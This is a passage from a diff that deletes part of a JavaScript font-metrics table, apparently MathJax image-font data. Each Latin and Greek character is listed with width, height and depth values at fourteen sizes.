-        [4,3,0],[5,4,0],[5,5,0],[6,5,0],[8,6,0],[9,8,0],[10,9,0],[12,11,0],
-        [15,13,0],[17,15,0],[20,18,0],[24,21,0],[29,25,0],[34,31,1]
-      ],
-      0x66: [  // LATIN SMALL LETTER F
-        [5,6,1],[6,8,2],[7,10,2],[8,10,2],[9,12,3],[11,16,4],[13,18,4],[15,22,5],
-        [18,26,6],[21,30,7],[25,36,8],[30,41,9],[35,50,11],[42,59,13]
-      ],
-      0x67: [  // LATIN SMALL LETTER G
-        [4,4,1],[5,6,2],[6,7,2],[7,7,2],[8,9,3],[9,12,4],[11,13,4],[13,16,5],
-        [15,19,6],[18,22,7],[22,26,8],[26,30,9],[30,36,11],[36,43,13]
-      ],
-      0x68: [  // LATIN SMALL LETTER H
-        [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[15,17,0],
-        [18,20,0],[21,23,0],[25,28,0],[30,33,1],[36,39,0],[42,47,1]
-      ],
-      0x69: [  // LATIN SMALL LETTER I
-        [3,5,0],[4,6,0],[4,8,0],[5,8,0],[6,9,0],[7,12,0],[8,14,0],[9,17,0],
-        [11,20,0],[12,23,0],[15,28,0],[17,32,0],[21,38,0],[24,47,1]
-      ],
-      0x6A: [  // LATIN SMALL LETTER J
-        [5,6,1],[5,8,2],[6,10,2],[7,10,2],[8,12,3],[9,16,4],[10,18,4],[12,22,5],
-        [14,26,6],[16,30,7],[19,36,8],[23,41,9],[27,49,11],[31,59,13]
-      ],
-      0x6B: [  // LATIN SMALL LETTER K
-        [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[10,12,0],[12,14,0],[14,17,0],
-        [16,20,0],[19,23,0],[23,28,0],[27,32,0],[32,38,0],[38,47,1]
-      ],
-      0x6C: [  // LATIN SMALL LETTER L
-        [3,5,0],[3,6,0],[3,8,0],[4,8,0],[5,9,0],[5,12,0],[6,14,0],[7,17,0],
-        [9,20,0],[10,23,0],[12,28,0],[14,32,0],[17,38,0],[20,47,1]
-      ],
-      0x6D: [  // LATIN SMALL LETTER M
-        [7,3,0],[9,4,0],[10,5,0],[12,5,0],[14,6,0],[17,8,0],[20,9,0],[24,11,0],
-        [28,13,0],[33,15,0],[40,18,0],[47,21,0],[56,25,0],[66,31,1]
-      ],
-      0x6E: [  // LATIN SMALL LETTER N
-        [5,3,0],[6,4,0],[7,5,0],[9,5,0],[10,6,0],[12,8,0],[14,9,0],[16,11,0],
-        [19,13,0],[23,15,0],[27,18,0],[32,21,0],[38,25,0],[45,31,1]
-      ],
-      0x6F: [  // LATIN SMALL LETTER O
-        [4,3,0],[5,4,0],[6,5,0],[7,5,0],[8,6,0],[10,8,0],[12,9,0],[14,11,0],
-        [16,13,0],[19,15,0],[23,18,0],[27,21,0],[32,25,0],[38,31,1]
-      ],
-      0x70: [  // LATIN SMALL LETTER P
-        [6,4,1],[6,6,2],[7,7,2],[8,7,2],[10,9,3],[11,12,4],[13,13,4],[15,16,5],
-        [18,19,6],[21,22,7],[25,26,8],[30,30,9],[35,36,11],[42,44,14]
-      ],
-      0x71: [  // LATIN SMALL LETTER Q
-        [4,4,1],[5,6,2],[6,7,2],[7,7,2],[8,9,3],[10,12,4],[11,13,4],[13,16,5],
-        [16,19,6],[19,22,7],[22,26,8],[26,30,9],[31,36,11],[37,44,14]
-      ],
-      0x72: [  // LATIN SMALL LETTER R
-        [4,3,0],[5,4,0],[5,5,0],[6,5,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],
-        [14,13,0],[17,15,0],[20,18,0],[24,21,0],[28,25,0],[33,31,1]
-      ],
-      0x73: [  // LATIN SMALL LETTER S
-        [4,3,0],[4,4,0],[5,5,0],[6,5,0],[7,6,0],[8,8,0],[10,9,0],[12,11,0],
-        [14,13,0],[16,15,0],[19,18,0],[23,21,0],[27,25,0],[32,31,1]
-      ],
-      0x74: [  // LATIN SMALL LETTER T
-        [3,5,0],[4,6,0],[4,7,0],[5,7,0],[6,9,0],[7,12,0],[8,13,0],[9,16,0],
-        [11,19,0],[13,22,0],[16,26,0],[18,30,0],[22,36,0],[26,43,1]
-      ],
-      0x75: [  // LATIN SMALL LETTER U
-        [5,3,0],[6,4,0],[7,5,0],[8,5,0],[9,6,0],[11,8,0],[13,9,0],[16,11,0],
-        [18,13,0],[22,15,0],[26,18,0],[31,21,0],[36,25,0],[43,31,1]
-      ],
-      0x76: [  // LATIN SMALL LETTER V
-        [4,3,0],[5,4,0],[6,5,0],[7,5,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],
-        [15,13,0],[18,15,0],[22,18,0],[25,21,0],[30,25,0],[36,31,1]
-      ],
-      0x77: [  // LATIN SMALL LETTER W
-        [6,3,0],[7,4,0],[8,5,0],[10,5,0],[11,6,0],[14,8,0],[16,9,0],[19,11,0],
-        [22,13,0],[27,15,0],[32,18,0],[37,21,0],[44,25,0],[53,31,1]
-      ],
-      0x78: [  // LATIN SMALL LETTER X
-        [5,3,0],[5,4,0],[6,5,0],[8,5,0],[9,6,0],[10,8,0],[12,9,0],[14,11,0],
-        [17,13,0],[20,15,0],[24,18,0],[28,21,0],[34,25,0],[40,31,1]
-      ],
-      0x79: [  // LATIN SMALL LETTER Y
-        [5,4,1],[5,6,2],[6,7,2],[7,7,2],[9,9,3],[10,12,4],[12,13,4],[14,16,5],
-        [17,19,6],[20,22,7],[23,26,8],[28,30,9],[33,36,11],[39,43,13]
-      ],
-      0x7A: [  // LATIN SMALL LETTER Z
-        [4,3,0],[5,4,0],[6,5,0],[7,5,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],
-        [15,13,0],[18,15,0],[22,18,0],[25,21,0],[30,25,0],[36,31,1]
-      ],
-      0xA0: [  // NO-BREAK SPACE
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x393: [  // GREEK CAPITAL LETTER GAMMA
-        [6,5,0],[7,6,0],[8,8,0],[10,8,0],[11,9,0],[13,12,0],[16,14,0],[19,17,0],
-        [22,20,0],[26,23,0],[31,28,0],[37,32,0],[43,38,0],[52,46,0]
-      ],
-      0x394: [  // GREEK CAPITAL LETTER DELTA
-        [7,5,0],[8,7,1],[9,9,1],[11,9,1],[13,10,1],[15,13,1],[18,15,1],[21,18,1],
-        [25,21,1],[30,24,1],[36,30,1],[42,34,1],[50,41,1],[60,48,1]
-      ],
-      0x398: [  // GREEK CAPITAL LETTER THETA
-        [6,5,0],[7,6,0],[9,8,0],[10,8,0],[12,9,0],[14,12,0],[17,14,0],[20,17,0],
-        [24,20,0],[28,24,1],[34,29,1],[40,33,1],[47,39,1],[56,47,1]
-      ],
-      0x39B: [  // GREEK CAPITAL LETTER LAMDA
-        [6,5,0],[7,6,0],[8,8,0],[10,8,0],[11,9,0],[13,12,0],[16,14,0],[18,17,0],
-        [22,20,0],[26,24,0],[31,29,0],[36,33,0],[43,40,0],[51,47,0]
-      ],
-      0x39E: [  // GREEK CAPITAL LETTER XI
-        [6,5,0],[8,6,0],[9,8,0],[11,8,0],[12,9,0],[15,12,0],[17,14,0],[20,17,0],
-        [24,20,0],[29,23,0],[34,27,0],[40,31,0],[48,38,0],[57,45,0]
-      ],
-      0x3A0: [  // GREEK CAPITAL LETTER PI
-        [8,5,0],[9,6,0],[11,8,0],[13,8,0],[15,9,0],[18,12,0],[21,14,0],[24,17,0],
-        [29,20,0],[34,23,0],[41,27,0],[48,32,0],[57,38,0],[68,46,0]
-      ],
-      0x3A3: [  // GREEK CAPITAL LETTER SIGMA
-        [7,5,0],[8,6,0],[9,8,0],[11,8,0],[13,9,0],[15,12,0],[18,14,0],[21,17,0],
-        [25,20,0],[30,23,0],[36,28,0],[42,32,0],[50,38,0],[60,46,0]
-      ],
-      0x3A5: [  // GREEK CAPITAL LETTER UPSILON
-        [6,5,0],[7,6,0],[8,8,0],[10,8,0],[12,9,0],[14,12,0],[16,14,0],[19,17,0],
-        [23,20,0],[27,23,0],[32,28,0],[38,32,0],[45,39,0],[53,47,0]
-      ],
-      0x3A6: [  // GREEK CAPITAL LETTER PHI
-        [6,5,0],[7,6,0],[8,8,0],[9,8,0],[11,9,0],[13,12,0],[15,14,0],[18,17,0],
-        [21,20,0],[25,23,0],[29,28,0],[35,32,0],[41,38,0],[49,46,0]
-      ],
-      0x3A8: [  // GREEK CAPITAL LETTER PSI
-        [6,5,0],[7,6,0],[8,8,0],[10,8,0],[12,9,0],[14,12,0],[16,14,0],[19,17,0],
-        [23,20,0],[27,23,0],[32,28,0],[38,32,0],[45,38,0],[53,45,0]
-      ],
-      0x3A9: [  // GREEK CAPITAL LETTER OMEGA
-        [7,5,0],[8,6,0],[9,8,0],[11,8,0],[13,9,0],[15,12,0],[18,14,0],[21,17,0],
-        [25,20,0],[29,23,0],[35,28,0],[41,32,0],[49,39,0],[58,47,0]
-      ],
-      0x3B1: [  // GREEK SMALL LETTER ALPHA
-        [5,3,0],[6,4,0],[7,5,0],[9,5,0],[10,6,0],[12,8,0],[14,9,0],[17,11,0],
-        [20,13,0],[24,15,0],[28,18,0],[34,21,0],[40,25,0],[47,31,1]
-      ],
-      0x3B2: [  // GREEK SMALL LETTER BETA
-        [5,6,1],[6,8,2],[7,10,2],[8,10,2],[9,12,3],[11,16,4],[13,18,4],[15,22,5],
-        [18,26,6],[21,30,7],[25,36,8],[30,41,9],[36,50,11],[42,60,14]
-      ],
-      0x3B3: [  // GREEK SMALL LETTER GAMMA
-        [5,4,1],[6,6,2],[7,7,2],[8,7,2],[9,9,3],[11,12,4],[13,13,4],[15,16,5],
-        [18,19,6],[21,22,7],[25,26,8],[29,30,9],[35,37,12],[41,45,15]
-      ],
-      0x3B4: [  // GREEK SMALL LETTER DELTA
-        [4,5,0],[5,7,0],[6,8,0],[7,8,0],[8,10,0],[9,13,0],[10,16,0],[12,18,0],
-        [15,21,0],[17,25,0],[21,29,0],[24,34,0],[29,41,0],[34,49,1]
-      ],
-      0x3B5: [  // GREEK SMALL LETTER EPSILON
-        [4,3,0],[5,4,0],[5,5,0],[6,5,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],
-        [14,13,0],[17,16,1],[20,19,1],[23,22,1],[28,27,1],[33,32,1]
-      ],
-      0x3B6: [  // GREEK SMALL LETTER ZETA
-        [4,6,1],[5,8,2],[6,10,2],[7,10,2],[8,12,3],[9,16,4],[11,18,4],[13,22,5],
-        [15,26,6],[18,31,7],[21,37,8],[25,43,9],[30,51,11],[35,61,13]
-      ],
-      0x3B7: [  // GREEK SMALL LETTER ETA
-        [5,4,1],[5,6,2],[6,7,2],[7,7,2],[9,9,3],[10,12,4],[12,13,4],[14,16,5],
-        [17,19,6],[20,22,7],[24,26,8],[28,30,9],[33,36,11],[39,45,15]
-      ],
-      0x3B8: [  // GREEK SMALL LETTER THETA
-        [4,5,0],[5,6,0],[6,8,0],[7,8,0],[8,9,0],[10,12,0],[11,14,0],[13,17,0],
-        [16,20,0],[19,23,0],[22,28,0],[26,32,0],[31,39,0],[37,47,1]
-      ],
-      0x3B9: [  // GREEK SMALL LETTER IOTA
-        [3,3,0],[4,4,0],[4,5,0],[5,5,0],[6,6,0],[7,8,0],[8,9,0],[9,11,0],
-        [11,13,0],[13,15,0],[16,18,0],[18,21,0],[22,25,0],[26,31,1]
-      ],
-      0x3BA: [  // GREEK SMALL LETTER KAPPA
-        [5,3,0],[6,4,0],[7,5,0],[8,5,0],[9,6,0],[11,8,0],[13,9,0],[15,11,0],
-        [18,13,0],[22,15,0],[26,18,0],[30,21,0],[36,25,0],[43,31,1]
-      ],
-      0x3BB: [  // GREEK SMALL LETTER LAMDA
-        [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[16,17,0],
-        [18,20,0],[22,24,1],[26,29,1],[31,33,1],[36,38,0],[43,47,1]
-      ],
-      0x3BC: [  // GREEK SMALL LETTER MU
-        [5,4,1],[6,6,2],[7,7,2],[8,7,2],[10,9,3],[12,12,4],[14,13,4],[16,16,5],
-        [19,19,6],[23,22,7],[27,26,8],[32,31,10],[38,37,12],[45,45,15]
-      ],
-      0x3BD: [  // GREEK SMALL LETTER NU
-        [5,3,0],[6,4,0],[6,5,0],[8,5,0],[9,6,0],[11,8,0],[12,9,0],[15,11,0],
-        [17,13,0],[20,15,0],[24,18,0],[29,21,0],[34,25,0],[40,31,1]
-      ],
-      0x3BE: [  // GREEK SMALL LETTER XI
-        [4,6,1],[5,8,2],[5,10,2],[6,10,2],[7,12,3],[9,16,4],[10,18,4],[12,22,5],
-        [14,26,6],[17,30,7],[20,36,8],[23,43,9],[28,51,11],[33,61,13]
-      ],
-      0x3BF: [  // GREEK SMALL LETTER OMICRON
-        [4,3,0],[5,4,0],[6,5,0],[7,5,0],[8,6,0],[10,8,0],[12,9,0],[14,11,0],
-        [16,13,0],[19,15,0],[23,18,0],[27,21,0],[32,25,0],[38,31,1]
-      ],
-      0x3C0: [  // GREEK SMALL LETTER PI
-        [5,3,0],[6,4,0],[7,5,0],[8,5,0],[10,6,0],[12,8,0],[14,9,0],[16,11,0],
-        [19,13,0],[23,15,0],[27,18,0],[32,21,0],[38,25,0],[45,31,1]
-      ],
-      0x3C1: [  // GREEK SMALL LETTER RHO
-        [5,4,1],[5,6,2],[6,7,2],[8,7,2],[9,9,3],[10,12,4],[12,13,4],[14,16,5],
-        [17,19,6],[20,22,7],[24,26,8],[29,30,9],[34,37,12],[40,45,15]
-      ],
-      0x3C2: [  // GREEK SMALL LETTER FINAL SIGMA
-        [4,4,1],[4,5,1],[5,6,1],[6,6,1],[7,7,1],[8,10,2],[9,12,3],[11,14,3],
-        [13,16,3],[16,18,3],[18,22,4],[22,26,5],[26,31,6],[31,37,7]
-      ],
-      0x3C3: [  // GREEK SMALL LETTER SIGMA
-        [5,3,0],[6,4,0],[7,5,0],[8,5,0],[10,6,0],[12,8,0],[14,9,0],[16,11,0],
-        [19,13,0],[23,15,0],[27,18,0],[32,21,0],[38,25,0],[45,30,1]
-      ],
-      0x3C4: [  // GREEK SMALL LETTER TAU
-        [5,3,0],[6,4,0],[6,5,0],[8,5,0],[9,6,0],[11,8,0],[12,9,0],[15,11,0],
-        [17,13,0],[20,16,1],[24,19,1],[29,22,1],[34,25,0],[40,31,1]
-      ],
-      0x3C5: [  // GREEK SMALL LETTER UPSILON
-        [5,3,0],[5,4,0],[6,5,0],[8,5,0],[9,6,0],[10,8,0],[12,9,0],[14,11,0],
-        [17,13,0],[20,15,0],[24,18,0],[28,21,0],[34,25,0],[40,31,1]
-      ],
-      0x3C6: [  // GREEK SMALL LETTER PHI
-        [5,4,1],[6,6,2],[7,7,2],[9,7,2],[10,9,3],[12,12,4],[14,13,4],[17,16,5],
-        [20,19,6],[24,22,7],[28,26,8],[33,31,10],[39,37,12],[47,44,14]
-      ],
-      0x3C7: [  // GREEK SMALL LETTER CHI
-        [5,4,1],[6,6,2],[7,7,2],[9,7,2],[10,9,3],[12,12,4],[14,13,4],[17,16,5],
-        [20,19,6],[23,22,7],[28,26,8],[33,30,9],[39,36,11],[46,43,13]
-      ],
-      0x3C8: [  // GREEK SMALL LETTER PSI
-        [6,6,1],[7,8,2],[8,10,2],[9,10,2],[11,12,3],[13,16,4],[15,18,4],[17,22,5],
-        [21,26,6],[24,30,7],[29,36,8],[34,41,9],[41,50,11],[48,59,13]
-      ],
-      0x3C9: [  // GREEK SMALL LETTER OMEGA
-        [5,3,0],[6,4,0],[7,5,0],[9,5,0],[10,6,0],[12,8,0],[14,9,0],[17,11,0],
-        [20,13,0],[23,15,0],[28,18,0],[33,21,0],[39,25,0],[46,31,1]
-      ],
-      0x3D1: [  // GREEK THETA SYMBOL
-        [5,5,0],[6,6,0],[7,8,0],[8,8,0],[9,9,0],[11,12,0],[13,14,0],[16,17,0],
-        [18,20,0],[22,23,0],[26,28,0],[31,32,0],[36,39,0],[43,47,1]
-      ],
-      0x3D5: [  // GREEK PHI SYMBOL
-        [5,6,1],[6,8,2],[7,10,2],[9,10,2],[10,12,3],[12,16,4],[14,18,4],[16,22,5],
-        [20,26,6],[23,30,7],[27,36,8],[32,41,9],[39,49,11],[46,59,13]
-      ],
-      0x3D6: [  // GREEK PI SYMBOL
-        [7,3,0],[8,4,0],[10,5,0],[12,5,0],[14,6,0],[16,8,0],[19,9,0],[23,11,0],
-        [27,13,0],[32,15,0],[38,18,0],[45,21,0],[53,25,0],[63,31,1]
-      ],
-      0x3F1: [  // GREEK RHO SYMBOL
-        [5,4,1],[5,6,2],[6,7,2],[8,7,2],[9,9,3],[10,12,4],[12,13,4],[14,16,5],
-        [17,19,6],[20,22,7],[24,26,8],[28,30,9],[34,36,11],[40,44,14]
-      ],
-      0x3F5: [  // GREEK LUNATE EPSILON SYMBOL
-        [4,3,0],[4,4,0],[5,5,0],[6,5,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],
-        [13,13,0],[15,15,0],[18,18,0],[22,21,0],[26,25,0],[30,30,1]
-      ]
-    },
-
-    "MathJax_Math-italic": {
-      0x20: [  // SPACE
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-        [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-      ],
-      0x2F: [  // SOLIDUS
-        [5,6,1],[6,8,2],[7,8,2],[8,10,2],[9,12,3],[11,14,3],[13,18,4],[15,21,5],
-        [18,25,6],[21,31,7],[25,36,8],[30,45,10],[36,53,12],[42,61,14]
-      ],
-      0x41: [  // LATIN CAPITAL LETTER A
-        [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[17,16,0],
-        [21,19,0],[24,24,0],[29,28,0],[34,34,1],[41,41,1],[48,47,1]
-      ],
-      0x42: [  // LATIN CAPITAL LETTER B
-        [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,16,0],
-        [21,19,0],[25,23,0],[30,27,0],[36,33,0],[42,39,0],[50,45,0]
-      ],
-      0x43: [  // LATIN CAPITAL LETTER C
-        [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,16,0],
-        [21,20,1],[25,25,1],[30,29,1],[36,35,1],[42,41,1],[50,48,1]
-      ],
-      0x44: [  // LATIN CAPITAL LETTER D
-        [6,5,0],[7,6,0],[8,6,0],[10,8,0],[12,10,0],[14,11,0],[16,14,0],[19,16,0],
-        [23,19,0],[27,23,0],[32,27,0],[38,33,0],[45,39,0],[53,45,0]
-      ],
-      0x45: [  // LATIN CAPITAL LETTER E
-        [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,16,0],
-        [22,19,0],[26,23,0],[30,27,0],[36,33,0],[43,39,0],[51,46,0]
-      ],
-      0x46: [  // LATIN CAPITAL LETTER F
-        [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,16,0],
-        [21,19,0],[25,23,0],[30,27,0],[35,33,0],[42,39,0],[50,45,-1]
-      ],
-      0x47: [  // LATIN CAPITAL LETTER G
-        [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,16,0],
-        [21,20,1],[25,25,1],[30,29,1],[36,35,1],[42,41,1],[50,48,1]
-      ],
-      0x48: [  // LATIN CAPITAL LETTER H
-        [7,5,0],[8,7,0],[9,7,0],[11,9,0],[13,10,0],[15,12,0],[18,15,0],[21,17,0],
-        [25,20,0],[30,24,0],[35,28,0],[42,34,0],[50,40,0],[59,46,0]
-      ],
-      0x49: [  // LATIN CAPITAL LETTER I
-        [4,5,0],[5,6,0],[5,6,0],[6,8,0],[7,9,0],[9,11,0],[10,14,0],[12,16,0],
-        [14,19,0],[17,23,0],[20,27,0],[24,33,0],[28,39,0],[34,45,0]
-      ],
-      0x4A: [  // LATIN CAPITAL LETTER J
-        [5,5,0],[6,7,0],[7,6,0],[8,9,0],[9,10,0],[11,12,0],[13,15,0],[15,17,0],
-        [18,21,1],[21,25,1],[25,29,1],[30,35,1],[35,41,1],[42,47,1]
-      ],
-      0x4B: [  // LATIN CAPITAL LETTER K
-        [7,5,0],[8,6,0],[9,6,0],[11,8,0],[13,10,0],[15,11,0],[18,14,0],[21,16,0],
-        [25,19,0],[30,23,0],[35,27,0],[42,33,0],[50,39,0],[59,45,0]
-      ],
-      0x4C: [  // LATIN CAPITAL LETTER L
-        [5,5,0],[6,6,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],[13,14,0],[15,16,0],
-        [18,19,0],[22,23,0],[26,27,0],[30,33,0],[36,39,0],[43,45,-1]
-      ],
-      0x4D: [  // LATIN CAPITAL LETTER M
-        [8,5,0],[9,6,0],[11,6,0],[13,8,0],[15,10,0],[18,11,0],[21,14,0],[25,16,0],
-        [29,19,0],[35,24,0],[42,27,0],[49,33,0],[58,39,0],[70,45,-1]
-      ],
-      0x4E: [  // LATIN CAPITAL LETTER N
-        [7,5,0],[8,7,0],[9,6,0],[11,9,0],[13,10,0],[15,12,0],[18,15,0],[21,17,0],
-        [25,20,0],[30,24,0],[35,28,0],[42,34,0],[50,39,0],[59,46,0]
-      ],
-      0x4F: [  // LATIN CAPITAL LETTER O
-        [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,16,0],
-        [21,20,1],[25,25,1],[29,29,1],[35,35,2],[41,41,1],[49,48,1]
-      ],
-      0x50: [  // LATIN CAPITAL LETTER P
-        [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,16,0],
-        [21,19,0],[25,23,0],[30,27,0],[35,33,0],[42,39,0],[50,45,0]
-      ],
-      0x51: [  // LATIN CAPITAL LETTER Q
-        [6,6,1],[7,8,2],[8,8,2],[9,10,2],[11,12,3],[13,14,3],[15,18,4],[18,21,5],
-        [21,25,6],[25,31,7],[29,36,8],[35,44,10],[41,51,11],[49,59,13]
-      ],
-      0x52: [  // LATIN CAPITAL LETTER R
-        [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,16,0],
-        [21,20,1],[25,24,1],[30,28,1],[35,34,1],[42,40,1],[50,46,1]
-      ],
-      0x53: [  // LATIN CAPITAL LETTER S
-        [5,5,0],[6,6,0],[7,6,0],[8,8,0],[9,9,0],[11,11,0],[13,14,0],[15,16,0],
-        [18,20,1],[22,25,1],[26,29,1],[31,35,2],[36,41,1],[43,48,2]
-      ],
-      0x54: [  // LATIN CAPITAL LETTER T
-        [5,5,0],[6,6,0],[7,6,0],[9,8,0],[10,9,0],[12,11,0],[14,14,0],[17,16,0],
-        [20,19,0],[24,23,0],[28,26,0],[33,32,0],[40,38,0],[47,44,0]
-      ],
-      0x55: [  // LATIN CAPITAL LETTER U
-        [6,5,0],[7,6,0],[8,7,0],[10,9,0],[11,10,0],[13,12,0],[15,15,0],[18,17,0],
-        [22,21,1],[26,25,1],[31,29,1],[36,35,1],[43,41,1],[51,48,1]
-      ],
-      0x56: [  // LATIN CAPITAL LETTER V
-        [6,6,1],[7,7,1],[8,7,1],[10,9,1],[11,10,1],[13,12,1],[15,15,1],[18,17,1],
-        [22,20,1],[26,24,1],[31,28,1],[36,35,2],[43,41,2],[51,47,1]
-      ],
-      0x57: [  // LATIN CAPITAL LETTER W
-        [8,5,0],[9,6,0],[11,6,0],[13,8,0],[15,9,0],[18,11,0],[21,14,0],[25,16,0],
-        [29,20,1],[35,24,1],[41,28,1],[49,34,1],[58,41,2],[69,48,2]
-      ],
-      0x58: [  // LATIN CAPITAL LETTER X
-        [6,5,0],[8,7,1],[9,7,1],[10,9,1],[12,10,1],[15,12,1],[17,15,1],[20,17,1],
-        [24,20,1],[28,24,1],[34,28,1],[40,34,1],[48,40,1],[56,46,1]
-      ],
-      0x59: [  // LATIN CAPITAL LETTER Y
-        [6,5,0],[7,6,0],[8,6,0],[9,8,0],[11,9,0],[13,11,0],[15,14,0],[18,16,0],
-        [22,19,0],[26,23,0],[30,27,0],[36,33,0],[43,39,0],[51,45,-1]
-      ],
-      0x5A: [  // LATIN CAPITAL LETTER Z
-        [5,5,0],[6,6,0],[8,6,0],[9,8,0],[10,9,0],[12,11,0],[15,14,0],[17,16,0],
-        [20,19,0],[24,23,0],[29,27,0],[34,33,0],[40,39,0],[48,45,0]
-      ],
-      0x61: [  // LATIN SMALL LETTER A
-        [4,3,0],[5,4,0],[5,4,0],[6,5,0],[7,6,0],[9,7,0],[10,9,0],[12,10,0],
-        [14,12,0],[17,15,0],[20,17,0],[24,22,1],[28,26,1],[34,30,1]
-      ],
-      0x62: [  // LATIN SMALL LETTER B
-        [3,5,0],[4,6,0],[5,6,0],[5,8,0],[6,9,0],[7,11,0],[9,14,0],[10,16,0],
-        [12,19,0],[14,24,0],[17,27,0],[20,34,1],[24,40,1],[28,47,1]
-      ],
-      0x63: [  // LATIN SMALL LETTER C
-        [3,3,0],[4,4,0],[5,4,0],[6,5,0],[6,6,0],[8,7,0],[9,9,0],[10,10,0],
-        [12,12,0],[15,15,0],[17,17,0],[21,22,1],[24,26,1],[29,30,1]
-      ],
-      0x64: [  // LATIN SMALL LETTER D
-        [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[9,11,0],[11,14,0],[13,16,0],
-        [15,19,0],[18,24,0],[21,27,0],[25,34,1],[30,40,1],[35,47,1]
-      ],
-      0x65: [  // LATIN SMALL LETTER E
-        [3,3,0],[4,4,0],[5,4,0],[6,5,0],[6,6,0],[8,7,0],[9,9,0],[10,10,0],
-        [12,12,0],[15,15,0],[17,17,0],[20,22,1],[24,26,1],[29,30,1]
-      ],
-      0x66: [  // LATIN SMALL LETTER F
-        [4,6,1],[5,8,2],[6,8,2],[7,10,2],[8,12,3],[10,14,3],[11,18,4],[13,21,5],
-        [16,25,6],[19,31,7],[22,36,8],[26,43,10],[31,51,12],[37,60,13]
-      ],
-      0x67: [  // LATIN SMALL LETTER G
-        [4,4,1],[4,6,2],[5,6,2],[6,7,2],[7,9,3],[8,10,3],[10,13,4],[12,15,5],
-        [14,18,6],[16,22,7],[19,25,8],[23,31,10],[27,37,12],[32,42,13]
-      ],
-      0x68: [  // LATIN SMALL LETTER H
-        [4,5,0],[5,6,0],[6,6,0],[7,8,0],[8,9,0],[10,11,0],[11,14,0],[13,16,0],
-        [16,19,0],[19,24,0],[22,27,0],[26,34,1],[31,40,1],[37,47,1]
-      ],
-      0x69: [  // LATIN SMALL LETTER I
-        [3,5,0],[3,6,0],[3,6,0],[4,8,0],[5,10,0],[5,11,0],[6,14,0],[7,16,0],
-        [9,18,0],[10,23,0],[12,26,0],[14,32,1],[17,38,1],[20,44,1]
-      ],
-      0x6A: [  // LATIN SMALL LETTER J
-        [4,6,1],[5,8,2],[5,8,2],[6,10,2],[7,13,3],[8,14,3],[9,18,4],[11,20,5],
-        [13,24,6],[15,30,7],[17,33,8],[20,41,10],[24,49,12],[28,57,13]
-      ],
-      0x6B: [  // LATIN SMALL LETTER K
-        [4,5,0],[5,6,0],[5,6,0],[6,8,0],[7,9,0],[9,11,0],[10,14,0],[12,16,0],
-        [14,19,0],[17,24,0],[20,27,0],[24,34,1],[28,40,1],[33,47,1]
-      ],
-      0x6C: [  // LATIN SMALL LETTER L
-        [2,6,0],[3,7,0],[3,7,0],[4,9,0],[4,10,0],[5,12,0],[6,15,0],[7,17,0],
-        [8,20,0],[9,24,0],[11,28,0],[13,35,1],[15,40,1],[18,47,1]
-      ],
-      0x6D: [  // LATIN SMALL LETTER M
-        [6,3,0],[8,4,0],[9,4,0],[10,5,0],[12,6,0],[15,7,0],[17,9,0],[20,10,0],
-        [24,12,0],[28,15,0],[34,17,0],[40,22,1],[48,26,1],[56,30,1]
-      ],
-      0x6E: [  // LATIN SMALL LETTER N
-        [4,3,0],[5,4,0],[6,4,0],[7,5,0],[8,6,0],[10,7,0],[12,9,0],[14,10,0],
-        [16,12,0],[19,15,0],[23,17,0],[27,22,1],[32,26,1],[38,30,1]
-      ],
-      0x6F: [  // LATIN SMALL LETTER O
-        [4,3,0],[4,4,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[10,9,0],[12,10,0],
-        [14,12,0],[16,15,0],[19,17,0],[23,22,1],[27,26,1],[32,30,1]
-      ],
-      0x70: [  // LATIN SMALL LETTER P
-        [5,4,1],[6,6,2],[6,6,2],[7,7,2],[8,9,3],[10,10,3],[11,13,4],[13,15,5],
-        [16,18,6],[19,22,7],[22,25,8],[26,31,10],[31,37,12],[36,43,14]
-      ],
-      0x71: [  // LATIN SMALL LETTER Q
-        [4,4,1],[4,6,2],[5,6,2],[6,7,2],[7,9,3],[8,10,3],[9,13,4],[11,15,5],
-        [13,18,6],[16,22,7],[18,24,7],[22,31,10],[26,37,12],[31,42,13]
-      ],
-      0x72: [  // LATIN SMALL LETTER R
-        [3,3,0],[4,4,0],[5,4,0],[6,5,0],[6,6,0],[8,7,0],[9,9,0],[10,10,0],
-        [12,12,0],[15,15,0],[17,17,0],[20,22,1],[24,26,1],[29,30,1]
-      ],
-      0x73: [  // LATIN SMALL LETTER S
-        [3,3,0],[4,4,0],[5,4,0],[5,5,0],[6,6,0],[7,7,0],[9,9,0],[10,10,0],
-        [12,12,0],[14,15,0],[17,17,0],[20,22,1],[24,26,1],[28,30,1]
-      ],
-      0x74: [  // LATIN SMALL LETTER T
